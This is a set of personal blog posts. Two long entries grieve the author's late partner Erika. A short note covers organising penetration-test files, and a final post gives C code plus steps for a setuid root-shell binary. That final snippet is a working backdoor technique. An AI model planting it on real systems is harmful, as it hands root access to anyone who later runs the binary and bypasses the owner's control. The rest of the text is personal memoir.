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One Year

It’s been one year since Erika was taken from us. One year ago today.

This post is a long one, apologies for that.

It’s been a really long, tough year. I want to share with you many of the things that have happened.  Since the moment Erika got sick last year and asked me to keep her family informed, I’ve grown closer to them. Gotten closer to her father Ray, her mother Marion, her sister Nancy, her brother- in – law Don and our niece, Violet. Erika’s family has treated me like family the entire time. They’ve been there for me every step of the way, each in their own way and we talk frequently. I’ve been welcomed to dinner in Marshfield with Ray and Marion, in the house where Erika grew up. The dinner repeated something that I’d done many times before, but always with Erika. It was quite different this time with just the three of us. I talk with Nancy on the phone, as she’s always there to talk or even just listen.  A few weeks ago, she and Violet came to visit, so I could give them some of Erika’s belongings. I look forward to this fall and winter when Violet will be wearing Erika’s hoodies. Don is also a runner, so he and I will often swap stories about  our training. There have been other things that we’ve done together, like figuring out Erika’s estate and creating the scholarship non-profit organization.

I spent about nine months of the year in therapy. I knew right away I’d need it and I tried a group session with others, but it wasn’t a fit for me. I found a really good local therapist and we met weekly, then biweekly, then every three weeks. Now I’m on an “as needed” basis. I felt like I was running out of things to talk about and I’ve learned how to handle some of the feelings. But the process continues, one where I’m constantly learning. I have some new friends who have also been through this type of loss and the resulting grief. I have learned from each of them. Some of the things you go through are the same for everyone and some are pretty different. I feel like I still don’t understand it all, and one thing that I learned is to not be surprised by what hits you. Just when you think you’re doing better, a trigger will lead to a really bad day. Fortunately, I’ve learned some of my triggers and while I can’t and don’t want to avoid them, I can often anticipate how they’ll make me feel. And for those who have never experienced this kind of loss, about all I can say is that it’s far worse than you can expect.

I had some local friends who offered advice early on about grief, and I often didn’t immediately believe what they were saying. I’ve shared some of it on Twitter and retweeted some of the good ones. Early on, I did think that grief was something that you, “get over.”  I’ll never claim to fully understand it because it keeps surprising me (not in a good way) but I do at least now understand it’s something that you live with forever. Grief and loss change you.  Another of the things that I learned is summed up in this Mitch Albom quote: “Death ends a life, not a relationship.” 

Losing someone like Erika is nearly impossible to explain. To me, one thing is certain, we don’t just, “move on.”  We carry it with us. This Nora McInerny TED Talk explains it so well.

More than a few times, including just a few weeks before she died, Erika said to me, “I really like our life right now.”  I, too, really loved our life together. After I got divorced a number of years ago, my life was turned upside down and everything felt chaotic and jumbled.  It took some time to get things settled again. Erika was a huge stabilizing force. She helped me when I was a mess, was patient in many ways and we were finally settling in. We bought our house in 2017, we got a dog, a couple cats and were just enjoying our life. We were both working from home during the day and then sitting together on the back porch or on the couch together at night. Just when things were finally all right, this tragedy happened. This just adds to the frustration, the anger, the unfairness.

As absolutely crushed as I have been for the last year, and as sad as I am for my loss, I realized that I’m actually even more sad, frustrated and angry for Erika’s loss.  She was cheated out of so much. There’s no question that in her 46-plus years, she lived life to the fullest, but she still had so much more to do. She touched so many people, she helped change people and things for the better. There was so much promise on the horizon. I’m sad that she didn’t get to do that. I’m sad for all the people who didn’t really get to know her and all the things she wanted to do. Just as one small example: Erika wanted to go to law school to be a lawyer. In our discussions about that pretty major life change for her and for us, getting a law degree didn’t make financial sense. But that didn’t matter. She was tired of seeing injustices and wanted to jump in and use her skills to fix them, even if it was on a volunteer basis. Making money wasn’t the  motivator for her. Doing what is right and helping others was. Her loss is our loss. 

Back on March 20, we held a memorial service for Erika that was streamed online. We had more than 30 speakers that day who told stories of their memories with Erika. We were joined by people who knew Erika from high school, from college, from her days in Baltimore and Russia and of course, lots of Rhode Islanders. It was a nearly three-hour event and it was recorded, so if you missed it and would like to watch it or even just to rewatch parts of it, I’d be happy to share the video with you.

Maybe a month or two before Erika died, she and I were at home having dinner.  One of the things that we talked about was the lessons we were learning about trying to become anti-racist. Among those lessons was to do what you can with the resources that you have to help those affected. We came up with the idea to create a college scholarship for Black Rhode Island students. We had no idea how to do it, but we agreed to figure it out. We thought we’d fund it for the first year and then start asking friends and family to contribute.  She didn’t get to see it through, so a few months later, Erika’s family and I created the Erika Niedowski Memorial Scholarship with myself, Erika’s parents Ray and Marion Niedowski, Erika’s sister Nancy Welsh and Erika’s brother-in-law Don Welsh, as the committee. In August, we awarded scholarships to two amazing students, Felmara Greene and Lydia Nkrumah.

Next weekend, we’ll have a bicycle ride to honor and remember Erika. Most of you know that Erika was an avid cyclist. She loved being out on her bike and she also enjoyed riding with John Marion. Last August, Erika and John rode together either out to or nearly out to the Connecticut border as she wanted to get John’s opinions on law school. Since then, John decided he wanted to put together a ride to remember and honor her, and put together an organizing committee of Matt Netto, Liza Burkin and James Baumgartner. We’ll be “Out Riding” on the Blackstone Valley Bike Path on Saturday, Oct 9 starting from the Stop & Shop in Cumberland on Mendon Road  at 9 am. Everyone is welcome to join us. No registration needed and it’s free. 

I’ve always kept a very small circle of friends, but in the last year, that circle has grown. People have reached out to support me, and I am appreciative of each one. I won’t name them for fear of forgetting someone. But I am thankful to all the people who came over for fire pit nights or brought me food or periodically checked in with a, “How are you doing?”  Also to the new friends who shared their experiences dealing with grief and tried to prepare me—I didn’t usually believe you, but you were always right. And I am grateful to the widow who I spoke to often as we were frequently going through and feeling the same things.

In some of my blog posts, I’ve shared some private things, like photos from inside our home. I want to do that again now. Some of these might seem really mundane, but I can also explain how each has meaning for me or helps me to still feel connected to Erika.

Let’s start with an obvious one. Erika’s bike:

That’s her bike, exactly where she left it after her last ride on September 19, 2020. Her cycling shoes and arm warmers are still right there, as if waiting for the next ride. It was the last day before she started feeling any symptoms. 

These Lincoln photos:

I think Erika bought these at Frog and Toad in Providence, shortly after we moved in to the house. We jumped in with both feet, immersing ourselves in our new town. We also made frequent trips to Lincoln Woods and it was a site for our “Winter Walking” adventures. She really liked specific or even kitschy things. When she found something interesting or was happy with something she did, she had a slightly different smile and look on her face. It was a mish-mash look of self-contentment, pride and also a fulfillment of curiosity. She had that look the day she brought those home and hung them up. We were home. This was our home.

A bookshelf.

This bookshelf sits, maybe, ten feet away from me all day, right outside my working space at home.  Everything in it is Erika’s. From the tourist knick knacks on top, to the entire set of Seinfeld episodes that she bought while living in Russia so she could watch some American TV. Some of her favorite books are in there, too. There’s Team of Rivals, a book on beekeeping and one that was the subject of an ongoing joke, The Children’s Blizzard. After she finished it, I asked how it was and what it was about. For some reason, she was at a loss for words, but just said it was sad. I asked, “Is it about children who die in a blizzard?” It was just one of those had-to-be-there things that hit her as being funny in how clearly it summed up the book.

Speaking of kitschy:

There’s a hip-swinging Elvis. She always had this around, connected to a string and a suction cup, often swinging from the bathroom mirror.  I asked her about it when we first started dating as I saw it in her apartment’s bathroom. She said she got it on a trip to Vegas with her then-husband Chris, and I remember the little pang of jealousy I felt at that moment, to hear her talk about being with someone else. Every time I see it, I recall that conversation, and Elvis still hangs in the bathroom by the mirror.

Here’s another one that we laughed about quite often.

This is her stuffed animal collection. Or at least part of it. It used to be a larger collection, but some are in other parts of the house. One, Erika’s absolute favorite, a brown bear named Fred, found a new home with Violet, to be loved every day and night.  This menagerie wasn’t always displayed on top of the dresser though. Oh no. They were in the bed with us. All of them. And they took up space to the point where sometimes we’d have conversations about whether I could borrow  a little space from the avocado. (His name is Guac). There’s also a sloth, a couple of turtles, a moose, her elephant from when she was little named Friendy. And then there’s the dog on the far right— “Baby Jaro,” —that looks a little like our dog, Jaro. That was the birthday gift that I gave to Erika on her first day in the hospital. Her birthday was just two days after she died, so we had made plans to celebrate and I’d already gotten her this as a birthday gift. I was on the fence about bringing it into the hospital, because I kept telling myself we’d celebrate and I’d give it to her when she came home.  I’m really glad I didn’t wait. She wasn’t feeling too well, but when she saw Baby Jaro, she got a really big smile on her face and kept it right by her side. Every few minutes, she’d pet it and just whisper, “Baby Jaro.” It made her happy during a really terrible time. I’m glad I decided to bring it to her.

The shower caddy and supplies.

This is another one that might seem pretty mundane. It’s a few bottles of shampoo. But to me, it’s been so much more. Like her bicycle, sitting right where she left it, these are also hers, right where she left them. When going through this experience, this grief, it really can be the little things that make your person seem still with you in some way. This was one of them for me. I’d look at them every day when I’d get in the shower—her special shampoo for curly hair, her charcoal face wash, which we called “face dirt”—and could still feel like she was here. 

Trash?

Maybe this one is a little gross, but I don’t care. What is it? Well, many of you know that Erika loved cheese. All kinds of cheese. So I’d often buy bags of mozzarella cheese sticks for her snacks, which she’d sometimes eat while reading in bed. Sometimes when I’d open the drawer in a night table and see one of these wrappers, it’d lead to a playful argument. I’d give her a scolding look, like a parent does to a child. She’d start laughing at the ridiculous look on my face and the silliness of the fact that she put the wrapper in the drawer instead of the trash. In the last year, there have been many sad, lonely nights, when I’d go through something of Erika’s to remember her, whether it was her closet or her drawer of T-shirts. One sad evening, I opened the night table drawer to look at things Erika had put in there. And there was a cheese stick wrapper.  My mood broke and I just burst out laughing. It felt like it was one last joke that she’d left behind for me, to make me happy. Anyway, it’s still there. I didn’t put it in the trash either.

These are some of the things in our home that have helped me to remember her every day for the last year. I see them and I remember these stories and many more. Virtually everything in our home has a story attached. I remember conversations that we had around each of these things and I can vividly recall her face as we talked about them.  The memories attached to those things in the house also bring me some sadness. The sadness of knowing they were hers and she will not get to see or use any of them again. I recently realized  that another reason I hadn’t moved any of those things was because I subconsciously thought that she still needs them. That she will be back to use them, so I can’t do anything with them. Or that when she does come back, she’ll ask, “Why did you move or get rid of my things?” As silly as that sounds, I believe that’s what my subconscious was thinking, because it doesn’t make sense. Once I understood that, I also realized that it’s time for me to move her things. Other than more-than-year-old cheese wrappers, I won’t be throwing them away.  I’ll just be putting them away. I think it’ll be time for me, and it will be ok.

I’ve shared a lot of my thoughts about my life with Erika and my loss of Erika. I’ve told stories in the last year but going forward, I don’t know if I’ll write any more. I certainly will if I feel it, but I don’t know that I will. If anyone ever wants to hear stories, I’m more than happy to tell them. Just let me know.

Erika made so many of us better for having known her and wanting to be like her. In closing, thank you for being here, thank you for reading this and your support, thank you for remembering the great person that was Erika Niedowski. 

Many people have said, “A person only dies when they are forgotten.” If that is true, Erika will live on forever.

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About Erika

It’s been a little more than five weeks since Erika passed, so I’ve had time to reflect and really think about my little bit of time with her. As I flip through pictures of her, each has its own memories. One thing that I noticed is that she and I didn’t record very many videos. I think in our seven years, there are fewer than five videos of her, and one of those is 2 seconds long and seemingly an accident where someone meant to take a photo but hit the video button. I wish there were more.

But one thing that I did want to write about is all the things that I really loved about her. The big risk that I take in writing this is how many things I’ll forget to include. These are in no particular order. None of them are any more important to me than the others.

She really was so beautiful. Her bright blue eyes. Dark curly hair. Perfect smile. As I look back through all our photos, I keep having to stop scrolling and just look at her.

Another thing was just how comfortable she was in being herself. While being feminine, she hated dressing up, never wore makeup, didn’t color her hair, didn’t even own a pair of high heeled shoes and maybe painted her fingernails once. And even then was likely with her niece Violet. I remember early on, she asked if I cared that she didn’t dress up, and I told her definitely not. I wanted her to always be comfortable with herself, and that’s exactly what she did, hoodies, t-shirts, sweatpants, jeans and sneakers ruled the day for her. On days when she might have had to dress up for work, at 5:01 pm she’d say she was going to put on her “comfies”, meaning her comfortable clothes, lie down on the couch and often be under at least one cat.

Erika was extremely driven, while at the same time knowing how to relax. Erika was a woman who literally moved halfway around the world to become the Baltimore Sun’s Bureau Chief in Moscow, Russia. She wrote a story about Josie King that earned her a finalist’s spot with the Pulitzers (I still think she should have won). And when she felt her time in the Baltimore/DC area was done, she moved to Rhode Island to work with the Associated Press. And then when she knew she could do more for the world, she gave up her highly successful career in journalism to attend Tufts University and earn her Masters in Public Policy.

As driven as she was, she also knew how to relax. One of the best examples is a maxim that she lived by: “Why stand when you can sit, why sit when you can lie down.” Part of our daily routine was that she would come into the kitchen while I was making dinner and often, she’d lie on the floor. It didn’t seem the most comfortable, but it made her happy.


Erika was also the best at taking naps. We’d often say that if napping were an Olympic sport, she would be the gold medalist. We frequently planned our weekend schedule around her nap schedule. I didn’t mind because naps made her so happy. I could tell when she was getting close to her nap time. She might be reading on the couch and could see her eyes getting heavy. Even on vacations, she’d nap virtually every day, except one. There wasn’t anything special about that one day, she’d just say that she was “caught up” on her rest, and didn’t need a nap that day. But the next day, back to napping.


We also had a thing where she would often be the second one to get out of bed for the day. Usually after I’d walked the dog and started the coffee, she would come downstairs. After a quick celebration (yes, we celebrated her getting out of bed each day), I’d say “Good job waking up, now go rest.” and she’d go lie down on the couch. All of this is really an illustration of just how driven she was, but that she also knew how to slow down when needed.

Erika was also just so damn smart. She was the person who I could always bounce ideas off of and she would always give great feedback. I’d think my idea was rock solid, nothing could possibly be wrong with it and then she’d just start asking questions, ones that made sense, other things to think about. She also would often say she didn’t know what she was doing at her job. That everyone else was so much smarter than her, but then I’d see her getting invited to be a subject matter expert on conference panels, I’d hear her on her work calls and hear her explaining things. And of course her ability to easily write or edit. Anything I ever wrote would always go through her as an editor. I kinda wish these blog posts could be edited by her too, but then again, if she could edit them, I wouldn’t be writing them.

Erika at Work – Frequently on Phone Calls

She also had such a big heart for others. She was always looking out for the under-appreciated and those who didn’t get noticed. We were fortunate that Erika attended an Undoing Racism workshop which eventually opened our eyes to our own internal racist beliefs and helped us to challenge much of what we know. We worked on that together. We challenged each other many times in many ways and that really helped both of us. I could not have done that without her.

When there was something she was interested in, she just went ahead and did it. She had been riding her bicycle long distances since high school. She learned how to do welding and built herself a bicycle out of some scraps. She re-learned how to skate and then to play hockey.

She learned how to identify frog noises, she learned about Mason bees and how they are good plant pollinators and got a hive for our backyard. She got us a bat house for the yard, as she was really interested in bats. Sometimes our interests overlapped and sometimes they didn’t. And that was ok. We both really enjoyed doing nothing during our vacations. Most times, we’d just go somewhere, usually Prudence Island, and do nothing together. I loved that we could just be together, do nothing and be happy.

And there was the Bruins. Our first date was at a Bruins game on November 11, 2013. The Bruins beat the Lightning. We also went to the Stanley Cup Final Game 7 together. We went to many others, both in Boston and in other cities. We did a whole vacation where we followed the Bruins up and down the west coast. It seems the last game she and I attended together was December 23rd, 2019 vs. the Washington Capitals.

It’s interesting that the Caps were the last team we saw together as they were probably our second favorite team. We even went to a Caps playoff game together in Washington one year.

We had a lot of interesting times at hockey games. From the time she was almost too nervous to meet Liam Fitzgerald, aka Fist Bump Kid.

Or when we saw “The Guy from Chicago”, Conor McGregor, as Erika referred to him. She didn’t really know who he was but had heard that he’d been in Chicago earlier in the day, which happened to be St. Patrick’s Day.

There were just so many things to love about Erika. Another thing is she was an incredible role model for my daughter. While I wouldn’t say they were very close, they did get along really well and I know McKenna looked up to Erika. Erika was a smart, strong woman who took no BS from anyone. Erika was a board member for Girls Rock Rhode Island, and was a huge supporter of the organization. It was through this affiliation that McKenna got to attend the Girls Rock camps and also learn a lot about herself. The three of us had lots of serious family discussions but Erika also never took herself too seriously and could have fun with McKenna too, including this time when we were playing the Exploding Kittens game, and the expansion pack which came with the Cone of Shame.

I also loved the times when the three of us just hung out together, having fun.

One story that I liked to remind Erika of was way back when we were first dating, this might have been in the first month or so. I was asking her about “the holidays” and what she thought of them. She said she wasn’t a fan and always looked forward to them just being over. I remember this as it was one of the first times we’d gone ice skating together and we were at the downtown Providence rink. I just looked at her and said “I’m going to get you to like Christmas.” She actually rolled her eyes at me and said, with a slight sarcastic tone “okay…” After a few together, I think I was successful, and I’d remind her of that conversation. She agreed, she enjoyed the holidays together as we started making our own traditions, like tagging our tree each year:

Like I said at the beginning, I’m sure I’m forgetting many of the things that I loved about her. So many little things. How she’d get in the way in the kitchen when I made dinner. How she’d snore herself awake at night and insist on telling me that she snored herself awake, her love of her cats, especially Yukos and Red Bull, how much she loved seeing Paws, the Paw Sox mascot visit her every Valentine’s Day, her passion for doing so much and her passion for doing nothing.

Before I met her, I really didn’t believe in soul mates. I didn’t think it were possible that there is one perfect person for me. She proved me wrong. She was the perfect one for me, she was my everything.

This is literally the last photo we took together.

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Getting Organized

Learning how to get organized and put things in the proper place. I suspect that I’ll come back and add things like naming conventions. But this is what I got so far for organizing the information gathered during a pen test, in a directory.

Customer name

  • screenshots
  • services
  • scans
    • nexpose|appscan
    • nmap
      • xml
      • gnmap
      • nmap
    • pings
    • enum

As few nmap scans as possible, and name them after the network or if there is something else that makes sense. So the files may be named 192.168.10.10.gnnmap and so on.
Ping files are named the same way, but are prefixed with ping-
enum files are for enumerating a domain controller. These are prefixed with enum- and end with -dc
Services are IP addresses and the file is named with the service-host
All data is immediately removed and encrypted off the machine and deleted as soon as reasonably possible.

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Getting root

#include <stdio.h>
#include <string.h>

int main()
{
    setuid(0);
    seteuid(0);
    setgid(0);
    setegid(0);
    system("/bin/bash");
    return(0);
}
  • Save as foo.c
  • Compile gcc foo.c -o foo
  • sudo chmod u+s foo
  • ./foo
  • id

 

 

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